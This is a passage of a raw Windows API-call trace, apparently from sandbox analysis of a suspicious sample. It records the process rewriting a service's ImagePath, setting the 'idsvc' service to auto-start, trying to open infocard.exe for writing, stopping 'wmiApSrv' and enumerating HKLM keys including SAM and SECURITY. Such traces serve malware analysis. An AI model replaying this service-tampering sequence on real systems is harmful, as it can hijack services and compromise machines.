Foundation\\infocard.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" [0248.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0248.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0248.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0248.229] LocalFree (hMem=0x7f03d0) returned 0x0 [0248.229] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0248.229] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x2) returned 0x8038a0 [0248.229] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0248.230] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.231] RegCloseKey (hKey=0x154) returned 0x0 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0248.231] RegCloseKey (hKey=0xc4) returned 0x0 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0248.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0248.231] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0248.231] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0248.231] GetLastError () returned 0x5 [0248.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0248.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0248.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0248.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0248.235] NtClose (Handle=0xc4) returned 0x0 [0248.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0248.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0248.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0248.667] NtClose (Handle=0xc4) returned 0x0 [0248.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0248.667] NtClose (Handle=0x154) returned 0x0 [0248.668] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x2710) returned 0x0 [0248.764] NtClose (Handle=0x148) returned 0x0 [0248.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0248.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0248.765] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0248.765] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0248.765] GetLastError () returned 0x5 [0248.765] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0248.766] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0248.766] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0248.766] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x803990 [0248.766] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0248.766] GetLastError () returned 0x425 [0248.766] CloseServiceHandle (hSCObject=0x803990) returned 1 [0248.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0248.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0248.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0248.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0248.769] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.769] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.770] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.770] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.770] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0248.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.771] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.771] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0248.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.771] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.771] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0248.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 